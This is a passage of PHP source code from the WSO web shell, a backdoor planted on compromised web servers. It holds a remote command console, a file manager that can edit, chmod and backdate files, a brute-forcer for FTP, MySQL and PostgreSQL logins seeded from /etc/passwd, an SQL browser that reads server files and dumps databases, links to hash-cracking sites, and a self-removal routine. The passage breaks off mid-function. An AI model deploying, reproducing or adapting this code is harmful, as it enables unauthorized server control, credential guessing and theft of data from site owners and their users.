501 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
502 $l = $l ? 0 : 1;
503 }
504 echo "<tr><td colspan=7>
505 <input type=hidden name=a value='FilesMan'>
506 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
507 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
508 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
509 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
510 echo "<option value='tar'>Compress (tar.gz)</option>";
511 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
512 echo "</select> ";
513 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
514 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
515 wsoFooter();
516 }
517 function actionStringTools() {
518 if (!function_exists('hex2bin')) {
519 function hex2bin($p) {
520 return decbin(hexdec($p));
521 }
522 }
523 if (!function_exists('binhex')) {
524 function binhex($p) {
525 return dechex(bindec($p));
526 }
527 }
528 if (!function_exists('hex2ascii')) {
529 function hex2ascii($p) {
530 $r = '';
531 for ($i = 0;$i < strLen($p);$i+= 2) {
532 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
533 }
534 return $r;
535 }
536 }
537 if (!function_exists('ascii2hex')) {
538 function ascii2hex($p) {
539 $r = '';
540 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
541 return strtoupper($r);
542 }
543 }
544 if (!function_exists('full_urlencode')) {
545 function full_urlencode($p) {
546 $r = '';
547 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
548 return strtoupper($r);
549 }
550 }
551 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
552 if (isset($_POST['ajax'])) {
553 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
554 ob_start();
555 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
556 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
557\'") . "';
558";
559 echo strlen($temp), "
560", $temp;
561 exit;
562 }
563 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
564 wsoHeader();
565 echo '<h1>String conversions</h1><div class=content>';
566 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
567 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
568 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
569 if (!empty($_POST['p1'])) {
570 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
571 }
572 echo "</pre></div><br><h1>Search files:</h1><div class=content>
573 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
574 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
575 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
576 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
577 <tr><td></td><td><input type='submit' value='>>'></td></tr>
578 </table></form>";
579 function wsoRecursiveGlob($path) {
580 if (substr($path, -1) != '/') $path.= '/';
581 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
582 if (is_array($paths) && @count($paths)) {
583 foreach ($paths as $item) {
584 if (@is_dir($item)) {
585 if ($path != $item) wsoRecursiveGlob($item);
586 } else {
587 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
588 }
589 }
590 }
591 }
592 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
593 echo "</div><br><h1>Search for hash:</h1><div class=content>
594 <form method='post' target='_blank' name='hf'>
595 <input type='text' name='hash' style='width:200px;'><br>
596 <input type='hidden' name='act' value='find'/>
597 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
598 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
599 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
600 </form></div>";
601 wsoFooter();
602 }
603 function actionFilesTools() {
604 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
605 if (@$_POST['p2'] == 'download') {
606 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
607 ob_start("ob_gzhandler", 4096);
608 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
609 if (function_exists("mime_content_type")) {
610 $type = @mime_content_type($_POST['p1']);
611 header("Content-Type: " . $type);
612 } else header("Content-Type: application/octet-stream");
613 $fp = @fopen($_POST['p1'], "r");
614 if ($fp) {
615 while (!@feof($fp)) echo @fread($fp, 1024);
616 fclose($fp);
617 }
618 }
619 exit;
620 }
621 if (@$_POST['p2'] == 'mkfile') {
622 if (!file_exists($_POST['p1'])) {
623 $fp = @fopen($_POST['p1'], 'w');
624 if ($fp) {
625 $_POST['p2'] = "edit";
626 fclose($fp);
627 }
628 }
629 }
630 wsoHeader();
631 echo '<h1>File tools</h1><div class=content>';
632 if (!file_exists(@$_POST['p1'])) {
633 echo 'File not exists';
634 wsoFooter();
635 return;
636 }
637 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
638 if (!$uid) {
639 $uid['name'] = @fileowner($_POST['p1']);
640 $gid['name'] = @filegroup($_POST['p1']);
641 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
642 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
643 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
644 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
645 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
646 else $m = array('Chmod', 'Rename', 'Touch');
647 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
648 echo '<br><br>';
649 switch ($_POST['p2']) {
650 case 'view':
651 echo '<pre class=ml1>';
652 $fp = @fopen($_POST['p1'], 'r');
653 if ($fp) {
654 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
655 @fclose($fp);
656 }
657 echo '</pre>';
658 break;
659 case 'highlight':
660 if (@is_readable($_POST['p1'])) {
661 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
662 $code = @highlight_file($_POST['p1'], true);
663 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
664 }
665 break;
666 case 'chmod':
667 if (!empty($_POST['p3'])) {
668 $perms = 0;
669 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
670 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
671 }
672 clearstatcache();
673 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
674 break;
675 case 'edit':
676 if (!is_writable($_POST['p1'])) {
677 echo 'File isn\'t writeable';
678 break;
679 }
680 if (!empty($_POST['p3'])) {
681 $time = @filemtime($_POST['p1']);
682 $_POST['p3'] = substr($_POST['p3'], 1);
683 $fp = @fopen($_POST['p1'], "w");
684 if ($fp) {
685 @fwrite($fp, $_POST['p3']);
686 @fclose($fp);
687 echo 'Saved!<br><script>p3_="";</script>';
688 @touch($_POST['p1'], $time, $time);
689 }
690 }
691 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
692 $fp = @fopen($_POST['p1'], 'r');
693 if ($fp) {
694 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
695 @fclose($fp);
696 }
697 echo '</textarea><input type=submit value=">>"></form>';
698 break;
699 case 'hexdump':
700 $c = @file_get_contents($_POST['p1']);
701 $n = 0;
702 $h = array('00000000<br>', '', '');
703 $len = strlen($c);
704 for ($i = 0;$i < $len;++$i) {
705 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
706 switch (ord($c[$i])) {
707 case 0:
708 $h[2].= ' ';
709 break;
710 case 9:
711 $h[2].= ' ';
712 break;
713 case 10:
714 $h[2].= ' ';
715 break;
716 case 13:
717 $h[2].= ' ';
718 break;
719 default:
720 $h[2].= $c[$i];
721 break;
722 }
723 $n++;
724 if ($n == 32) {
725 $n = 0;
726 if ($i + 1 < $len) {
727 $h[0].= sprintf('%08X', $i + 1) . '<br>';
728 }
729 $h[1].= '<br>';
730 $h[2].= "
731";
732 }
733 }
734 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
735 break;
736 case 'rename':
737 if (!empty($_POST['p3'])) {
738 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
739 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
740 }
741 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
742 break;
743 case 'touch':
744 if (!empty($_POST['p3'])) {
745 $time = strtotime($_POST['p3']);
746 if ($time) {
747 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
748 else echo 'Touched!';
749 } else echo 'Bad time format!';
750 }
751 clearstatcache();
752 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
753 break;
754 }
755 echo '</div>';
756 wsoFooter();
757 }
758 function actionConsole() {
759 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
760 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
761 $_POST['p1'].= ' 2>&1';
762 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
763 if (isset($_POST['ajax'])) {
764 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
765 ob_start();
766 echo "d.cf.cmd.value='';
767";
768 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
769$ " . $_POST['p1'] . "
770" . wsoEx($_POST['p1']), "
771\'"));
772 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
773 if (@chdir($match[1])) {
774 $GLOBALS['cwd'] = @getcwd();
775 echo "c_='" . $GLOBALS['cwd'] . "';";
776 }
777 }
778 echo "d.cf.output.value+='" . $temp . "';";
779 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
780 $temp = ob_get_clean();
781 echo strlen($temp), "
782", $temp;
783 exit;
784 }
785 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
786 wsoHeader();
787 echo "<script>
788if(window.Event) window.captureEvents(Event.KEYDOWN);
789var cmds = new Array('');
790var cur = 0;
791function kp(e) {
792 var n = (window.Event) ? e.which : e.keyCode;
793 if(n == 38) {
794 cur--;
795 if(cur>=0)
796 document.cf.cmd.value = cmds[cur];
797 else
798 cur++;
799 } else if(n == 40) {
800 cur++;
801 if(cur < cmds.length)
802 document.cf.cmd.value = cmds[cur];
803 else
804 cur--;
805 }
806}
807function add(cmd) {
808 cmds.pop();
809 cmds.push(cmd);
810 cmds.push('');
811 cur = cmds.length-1;
812}
813</script>";
814 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
815 foreach ($GLOBALS['aliases'] as $n => $v) {
816 if ($v == '') {
817 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
818 continue;
819 }
820 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
821 }
822 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
823 if (!empty($_POST['p1'])) {
824 echo htmlspecialchars("$ " . $_POST['p1'] . "
825" . wsoEx($_POST['p1']));
826 }
827 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
828 echo '</form></div><script>d.cf.cmd.focus();</script>';
829 wsoFooter();
830 }
831 function actionLogout() {
832 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
833 die('bye!');
834 }
835 function actionSelfRemove() {
836 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
837 else echo 'unlink error!';
838 if ($_POST['p1'] != 'yes') wsoHeader();
839 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
840 wsoFooter();
841 }
842 function actionBruteforce() {
843 wsoHeader();
844 if (isset($_POST['proto'])) {
845 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
846 if ($_POST['proto'] == 'ftp') {
847 function wsoBruteForce($ip, $port, $login, $pass) {
848 $fp = @ftp_connect($ip, $port ? $port : 21);
849 if (!$fp) return false;
850 $res = @ftp_login($fp, $login, $pass);
851 @ftp_close($fp);
852 return $res;
853 }
854 } elseif ($_POST['proto'] == 'mysql') {
855 function wsoBruteForce($ip, $port, $login, $pass) {
856 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
857 @mysql_close($res);
858 return $res;
859 }
860 } elseif ($_POST['proto'] == 'pgsql') {
861 function wsoBruteForce($ip, $port, $login, $pass) {
862 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
863 $res = @pg_connect($str);
864 @pg_close($res);
865 return $res;
866 }
867 }
868 $success = 0;
869 $attempts = 0;
870 $server = explode(":", $_POST['server']);
871 if ($_POST['type'] == 1) {
872 $temp = @file('/etc/passwd');
873 if (is_array($temp)) foreach ($temp as $line) {
874 $line = explode(":", $line);
875 ++$attempts;
876 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
877 $success++;
878 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
879 }
880 if (@$_POST['reverse']) {
881 $tmp = "";
882 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
883 ++$attempts;
884 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
885 $success++;
886 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
887 }
888 }
889 }
890 } elseif ($_POST['type'] == 2) {
891 $temp = @file($_POST['dict']);
892 if (is_array($temp)) foreach ($temp as $line) {
893 $line = trim($line);
894 ++$attempts;
895 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
896 $success++;
897 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
898 }
899 }
900 }
901 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
902 }
903 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
904 echo '</div><br>';
905 wsoFooter();
906 }
907 function actionSql() {
908 class DbClass {
909 var $type;
910 var $link;
911 var $res;
912 function DbClass($type) {
913 $this->type = $type;
914 }
915 function connect($host, $user, $pass, $dbname) {
916 switch ($this->type) {
917 case 'mysql':
918 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
919 break;
920 case 'pgsql':
921 $host = explode(':', $host);
922 if (!$host[1]) $host[1] = 5432;
923 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
924 break;
925 }
926 return false;
927 }
928 function selectdb($db) {
929 switch ($this->type) {
930 case 'mysql':
931 if (@mysql_select_db($db)) return true;
932 break;
933 }
934 return false;
935 }
936 function query($str) {
937 switch ($this->type) {
938 case 'mysql':
939 return $this->res = @mysql_query($str);
940 break;
941 case 'pgsql':
942 return $this->res = @pg_query($this->link, $str);
943 break;
944 }
945 return false;
946 }
947 function fetch() {
948 $res = func_num_args() ? func_get_arg(0) : $this->res;
949 switch ($this->type) {
950 case 'mysql':
951 return @mysql_fetch_assoc($res);
952 break;
953 case 'pgsql':
954 return @pg_fetch_assoc($res);
955 break;
956 }
957 return false;
958 }
959 function listDbs() {
960 switch ($this->type) {
961 case 'mysql':
962 return $this->query("SHOW databases");
963 break;
964 case 'pgsql':
965 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
966 break;
967 }
968 return false;
969 }
970 function listTables() {
971 switch ($this->type) {
972 case 'mysql':
973 return $this->res = $this->query('SHOW TABLES');
974 break;
975 case 'pgsql':
976 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
977 break;
978 }
979 return false;
980 }
981 function error() {
982 switch ($this->type) {
983 case 'mysql':
984 return @mysql_error();
985 break;
986 case 'pgsql':
987 return @pg_last_error();
988 break;
989 }
990 return false;
991 }
992 function setCharset($str) {
993 switch ($this->type) {
994 case 'mysql':
995 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
996 else $this->query('SET CHARSET ' . $str);
997 break;
998 case 'pgsql':
999 return @pg_set_client_encoding($this->link, $str);
1000 break;
1001 }
1002 return false;
1003 }
1004 function loadFile($str) {
1005 switch ($this->type) {
1006 case 'mysql':
1007 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1008 break;
1009 case 'pgsql':
1010 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1011 $r = array();
1012 while ($i = $this->fetch()) $r[] = $i['file'];
1013 $this->query('drop table wso2');
1014 return array('file' => implode("
1015", $r));
1016 break;
1017 }
1018 return false;
1019 }
1020 function dump($table, $fp = false) {
1021 switch ($this->type) {
1022 case 'mysql':
1023 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1024 $create = mysql_fetch_array($res);
1025 $sql = $create[1] . ";
1026";
1027 if ($fp) fwrite($fp, $sql);
1028 else echo ($sql);
1029 $this->query('SELECT * FROM `' . $table . '`');
1030 $i = 0;
1031 $head = true;
1032 while ($item = $this->fetch()) {
1033 $sql = '';
1034 if ($i % 1000 == 0) {
1035 $head = true;
1036 $sql = ";
1037";
1038 }
1039 $columns = array();
1040 foreach ($item as $k => $v) {
1041 if ($v === null) $item[$k] = "NULL";
1042 elseif (is_int($v)) $item[$k] = $v;
1043 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1044 $columns[] = "`" . $k . "`";
1045 }
1046 if ($head) {
1047 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1048 (" . implode(", ", $item) . ')';
1049 $head = false;
1050 } else $sql.= "
1051 ,(" . implode(", ", $item) . ')';
1052 if ($fp) fwrite($fp, $sql);
1053 else echo ($sql);
1054 $i++;
1055 }
1056 if (!$head) if ($fp) fwrite($fp, ";
1057");
1058 else echo (";
1059
1060");
1061 break;
1062 case 'pgsql':
1063 $this->query('SELECT * FROM ' . $table);
1064 while ($item = $this->fetch()) {
1065 $columns = array();
1066 foreach ($item as $k => $v) {
1067 $item[$k] = "'" . addslashes($v) . "'";
1068 $columns[] = $k;
1069 }
1070 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1071";
1072 if ($fp) fwrite($fp, $sql);
1073 else echo ($sql);
1074 }
1075 break;
1076 }
1077 return false;
1078 }
1079 };
1080 $db = new DbClass($_POST['type']);
1081 if (@$_POST['p2'] == 'download') {
1082 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1083 $db->selectdb($_POST['sql_base']);
1084 switch ($_POST['charset']) {
1085 case "Windows-1251":
1086 $db->setCharset('cp1251');
1087 break;
1088 case "UTF-8":
1089 $db->setCharset('utf8');
1090 break;
1091 case "KOI8-R":
1092 $db->setCharset('koi8r');
1093 break;
1094 case "KOI8-U":
1095 $db->setCharset('koi8u');
1096 break;
1097 case "cp866":
1098 $db->setCharset('cp866');
1099 break;
1100 }
1101 if (empty($_POST['file'])) {
1102 ob_start("ob_gzhandler", 4096);
1103 header("Content-Disposition: attachment; filename=dump.sql");
1104 header("Content-Type: text/plain");
1105 foreach ($_POST['tbl'] as $v) $db->dump($v);
1106 exit;
1107 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1108 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1109 fclose($fp);
1110 unset($_POST['p2']);
1111 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1112 }
1113 wsoHeader();
1114 echo "
1115<h1>Sql browser</h1><div class=content>
1116<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1117<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1118<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1119<td><select name='type'><option value='mysql' ";
1120 if (@$_POST['type'] == 'mysql') echo 'selected';
1121 echo ">MySql</option><option value='pgsql' ";
1122 if (@$_POST['type'] == 'pgsql') echo 'selected';
1123 echo ">PostgreSql</option></select></td>
1124<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1125<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1126<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1127 $tmp = "<input type=text name=sql_base value=''>";
1128 if (isset($_POST['sql_host'])) {
1129 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1130 switch ($_POST['charset']) {
1131 case "Windows-1251":
1132 $db->setCharset('cp1251');
1133 break;
1134 case "UTF-8":
1135 $db->setCharset('utf8');
1136 break;
1137 case "KOI8-R":
1138 $db->setCharset('koi8r');
1139 break;
1140 case "KOI8-U":
1141 $db->setCharset('koi8u');
1142 break;
1143 case "cp866":
1144 $db->setCharset('cp866');
1145 break;
1146 }
1147 $db->listDbs();
1148 echo "<select name=sql_base><option value=''></option>";
1149 while ($item = $db->fetch()) {
1150 list($key, $value) = each($item);
1151 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1152 }
1153 echo '</select>';
1154 } else echo $tmp;
1155 } else echo $tmp;
1156 echo "</td>
1157 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1158 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1159 </tr>
1160 </table>
1161 <script>
1162 s_db='" . @addslashes($_POST['sql_base']) . "';
1163 function fs(f) {
